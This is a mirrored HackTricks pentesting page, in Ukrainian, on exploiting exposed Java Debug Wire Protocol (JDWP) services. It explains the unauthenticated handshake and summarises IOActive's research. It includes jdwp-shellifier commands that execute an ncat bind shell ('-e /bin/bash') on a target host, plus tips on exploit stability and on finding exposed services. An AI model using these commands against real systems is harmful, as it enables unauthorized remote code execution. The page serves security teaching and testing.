mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
67 lines
6.2 KiB
Markdown
67 lines
6.2 KiB
Markdown
# Pentesting JDWP - Java Debug Wire Protocol
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Exploiting
|
||
|
||
Експлуатація JDWP базується на **відсутності аутентифікації та шифрування** протоколу. Зазвичай він знаходиться на **порті 8000**, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитків для ідентифікації служб JDWP в мережі.
|
||
|
||
Щодо ідентифікації процесів, пошук рядка "jdwk" у процесах Java може вказувати на активну сесію JDWP.
|
||
|
||
Основний інструмент - [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Ви можете використовувати його з різними параметрами:
|
||
```bash
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||
```
|
||
Я виявив, що використання `--break-on 'java.lang.String.indexOf'` робить експлойт більш **стабільним**. І якщо у вас є можливість завантажити бекдор на хост і виконати його замість виконання команди, експлойт буде ще більш стабільним.
|
||
|
||
## Більше деталей
|
||
|
||
**Це резюме з [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Перевірте його для отримання додаткових деталей.
|
||
|
||
1. **Огляд JDWP**:
|
||
|
||
- Це пакетний мережевий бінарний протокол, переважно синхронний.
|
||
- Не має аутентифікації та шифрування, що робить його вразливим при відкритті до ворожих мереж.
|
||
|
||
2. **Рукостискання JDWP**:
|
||
|
||
- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьний ASCII рядок “JDWP-Handshake” між Дебагером (клієнтом) і Дебагованим (сервером).
|
||
|
||
3. **Комунікація JDWP**:
|
||
|
||
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор і Набір команд.
|
||
- Значення Набору команд варіюються від 0x40 до 0x80, представляючи різні дії та події.
|
||
|
||
4. **Експлуатація**:
|
||
|
||
- JDWP дозволяє завантажувати та викликати довільні класи та байт-код, що створює ризики безпеки.
|
||
- У статті детально описується процес експлуатації в п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
|
||
|
||
5. **Експлуатація в реальному житті**:
|
||
|
||
- Незважаючи на потенційні захисти брандмауера, служби JDWP можна виявити та експлуатувати в реальних сценаріях, як показано в пошуках на платформах, таких як ShodanHQ та GitHub.
|
||
- Скрипт експлойту був протестований на різних версіях JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE).
|
||
|
||
6. **Безпекові наслідки**:
|
||
- Наявність відкритих служб JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, відключення функцій налагодження в продуктивному середовищі та належних конфігурацій брандмауера.
|
||
|
||
### **Посилання:**
|
||
|
||
- [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||
- [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||
- [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
||
- http://www.secdev.org/projects/scapy(більше не активний)
|
||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||
- http://www.hsc-news.com/archives/2013/000109.html (більше не активний)
|
||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||
- [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|